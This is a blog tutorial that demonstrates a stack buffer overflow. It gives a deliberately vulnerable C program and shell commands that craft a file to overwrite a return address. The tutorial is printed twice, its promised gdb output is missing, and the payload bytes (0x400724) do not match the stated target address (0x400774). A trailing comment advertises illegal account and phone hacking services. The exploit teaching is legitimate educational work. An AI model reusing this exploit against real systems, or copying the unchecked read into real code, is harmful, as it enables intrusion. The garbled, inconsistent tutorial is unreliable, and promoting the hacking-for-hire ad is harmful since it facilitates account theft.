What if you write some piece of code that consist of VULNERABILITIES, that could lead to undesirable behavior of the flow of execution, if exploited by the hacker. One of the most common attack or exploit that is used today is a Stack Overflow type attack.
Stack Overflow is an undesirable situation when the program tends to use more memory space then the call stack available.
If we take a simple C program, that copies the memory from source to destination using memcpy function:
#define STRING "I LOVE HACKING"
char buffer[10];
memcpy(buffer, STRING, strlen(STRING));
In the above program, the actual size of buffer is 10, while memcpy will tend to copy 14 bytes of data to buffer. This will lead to overwrite some stack area that don't belong to the buffer. In simple word, this is a vulnerability in the program, that can be exploited and which might lead to change the actual behavior of the program.
Now let's see how the stacks are organized in an actual program.
With respect to the above piece of code, let say that are part of func1(), that is called by main().
#define ...
void func1()
{
char . . .;
memcpy( . . . );
}
int main()
{
. . .;
func1();
. . .;
}
If we co-relate the stack organization of above program with the stack diagram, the stacks of func1() or current stack frame would would lie behind the stacks of main() or the parent stack frame.
If we dump the stack frame using gdb for above program setting breakpoints at main() and func1(), we could get something like:
If we examine the stack frames for main and func1 respectively, SP for main is 0x7ffffffb50, while for func1 SP is 0x7ffffffb20. This means the stack is down growing. Further examining, we can see that the content of first 16 bytes at address 0x7ffffffb20 (i.e SP of func1), contain the base address of previous frame (main) which is 0x7ffffffb50. Next 16 bytes is the return address 0x40064c, which is the instruction address of function main which is going to be execute after func1() returns.
Likewise if we examine the return address in the SP of main, we got 0x400694 (which most probably be the return address from the function calling the main function).
So, by this point we can conclude that if a STACK OVERFLOW occur in func1(), then that could lead to overwrite the return address of the function that is calling main().
Next we will demonstrate, how a hacker exploit a similar bug and take advantage of it make some unexpected function call. Let us suppose the programmer is trying to copy some content from a file to a local buffer. The program would seem something like below:
#define CONF_FILE "/home/root/conf"
void vulnerable_func()
{
printf("NOTHING IS SECURE... YOU NEED TO EXPLOIT THE VULNERABLE CODE\n");
}
int my_func()
{
char buffer[20];
int fd, len;
struct stat statbuf;
printf("buffer address = %p | &len = %p | &fd = %p\n", buffer, &len, &fd);
fd = open(CONF_FILE, O_RDONLY);
if (fd < 0) {
printf("UNABLE TO OPEN!!!\n");
return -1;
}
fstat(fd, &statbuf);
len = statbuf.st_size;
read(fd, buffer, len);
// some operation with buffer...
close(fd);
return 0;
}
void func2()
{
my_func();
}
void main()
{
func2();
}
Now in above program, there lies a vulnerability where the read system call is copying len byte data to buffer irrespective of the size of buffer. We will exploit this to execute the vulnerable_func().
First we would need to know the address of the vulnerable_func(). For this we will open the a.out or ELF file in gdb. We will ise the commad disas followed by the function name:
Here we can conclude that the vulnerable_func code address is 0x400774. Thus our main aim is to overwrite the return address of the function calling func2(), with 0x400774.
Next, we need to know the address to overwite. Debugging the stack pointer of the func2(), we get:
Which means we have to overwrite the address 0x7ffffffb98.
Now, in order to achieve it we will overwrite the 20 byte buffer with some 8 byte (pad) + 16 byte zeroed frame pointer + 16 byte return address.
First we will frame the return address:
$ python -c 'print "\x24\x07\x40\x00\x00\x00\x00\x00"' > vul.in
$ dd if=/dev/zero of=conf bs=1 count=32
$ cat vul.in >> conf
Now, if we execute the a.out we will get something like:
This was just a very small demonstration on how a return address can be modified with the stack overflow exploit. In actual scenario the vulnerabilities are far much complex to find out. Consider the scenario if there present some vulnerability in the kernel. The attacker could manipulate the complete behavior of the driver by exploiting the vulnerabilities, or may be it could grant access permission to any unauthorized user for sudo operation.
There are many mechanisms that can be used to avoid these kind of attack such as using ASLR support in kernel, or compile time flag such as enabling Stack-Canaries. But the best method is to do a secure coding to avoid such a scenario to occur.
Stack Overflow is an undesirable situation when the program tends to use more memory space then the call stack available.
If we take a simple C program, that copies the memory from source to destination using memcpy function:
#define STRING "I LOVE HACKING"
char buffer[10];
memcpy(buffer, STRING, strlen(STRING));
In the above program, the actual size of buffer is 10, while memcpy will tend to copy 14 bytes of data to buffer. This will lead to overwrite some stack area that don't belong to the buffer. In simple word, this is a vulnerability in the program, that can be exploited and which might lead to change the actual behavior of the program.
Now let's see how the stacks are organized in an actual program.
With respect to the above piece of code, let say that are part of func1(), that is called by main().
#define ...
void func1()
{
char . . .;
memcpy( . . . );
}
int main()
{
. . .;
func1();
. . .;
}
If we co-relate the stack organization of above program with the stack diagram, the stacks of func1() or current stack frame would would lie behind the stacks of main() or the parent stack frame.
If we dump the stack frame using gdb for above program setting breakpoints at main() and func1(), we could get something like:
If we examine the stack frames for main and func1 respectively, SP for main is 0x7ffffffb50, while for func1 SP is 0x7ffffffb20. This means the stack is down growing. Further examining, we can see that the content of first 16 bytes at address 0x7ffffffb20 (i.e SP of func1), contain the base address of previous frame (main) which is 0x7ffffffb50. Next 16 bytes is the return address 0x40064c, which is the instruction address of function main which is going to be execute after func1() returns.
Likewise if we examine the return address in the SP of main, we got 0x400694 (which most probably be the return address from the function calling the main function).
So, by this point we can conclude that if a STACK OVERFLOW occur in func1(), then that could lead to overwrite the return address of the function that is calling main().
Next we will demonstrate, how a hacker exploit a similar bug and take advantage of it make some unexpected function call. Let us suppose the programmer is trying to copy some content from a file to a local buffer. The program would seem something like below:
#define CONF_FILE "/home/root/conf"
void vulnerable_func()
{
printf("NOTHING IS SECURE... YOU NEED TO EXPLOIT THE VULNERABLE CODE\n");
}
int my_func()
{
char buffer[20];
int fd, len;
struct stat statbuf;
printf("buffer address = %p | &len = %p | &fd = %p\n", buffer, &len, &fd);
fd = open(CONF_FILE, O_RDONLY);
if (fd < 0) {
printf("UNABLE TO OPEN!!!\n");
return -1;
}
fstat(fd, &statbuf);
len = statbuf.st_size;
read(fd, buffer, len);
// some operation with buffer...
close(fd);
return 0;
}
void func2()
{
my_func();
}
void main()
{
func2();
}
Now in above program, there lies a vulnerability where the read system call is copying len byte data to buffer irrespective of the size of buffer. We will exploit this to execute the vulnerable_func().
First we would need to know the address of the vulnerable_func(). For this we will open the a.out or ELF file in gdb. We will ise the commad disas followed by the function name:
Here we can conclude that the vulnerable_func code address is 0x400774. Thus our main aim is to overwrite the return address of the function calling func2(), with 0x400774.
Next, we need to know the address to overwite. Debugging the stack pointer of the func2(), we get:
Which means we have to overwrite the address 0x7ffffffb98.
Now, in order to achieve it we will overwrite the 20 byte buffer with some 8 byte (pad) + 16 byte zeroed frame pointer + 16 byte return address.
First we will frame the return address:
$ python -c 'print "\x24\x07\x40\x00\x00\x00\x00\x00"' > vul.in
$ dd if=/dev/zero of=conf bs=1 count=32
$ cat vul.in >> conf
Now, if we execute the a.out we will get something like:
This was just a very small demonstration on how a return address can be modified with the stack overflow exploit. In actual scenario the vulnerabilities are far much complex to find out. Consider the scenario if there present some vulnerability in the kernel. The attacker could manipulate the complete behavior of the driver by exploiting the vulnerabilities, or may be it could grant access permission to any unauthorized user for sudo operation.
There are many mechanisms that can be used to avoid these kind of attack such as using ASLR support in kernel, or compile time flag such as enabling Stack-Canaries. But the best method is to do a secure coding to avoid such a scenario to occur.
I am really impressed read your blog. Actually, your blog article is very helpful and more informative.Thank for sharing your valuable information. Such an insightful and long post almost intimidating for us newbie bloggers. Grateful for the effort you took to write this post. Lot’s to think about and get going with. Thank you.
ReplyDeleteWe provide a variety of hacking services, such as social media account hacks, mobile phones / PC hacking, email accounts hacking or anything else customer may want. Details check Awaken Cybers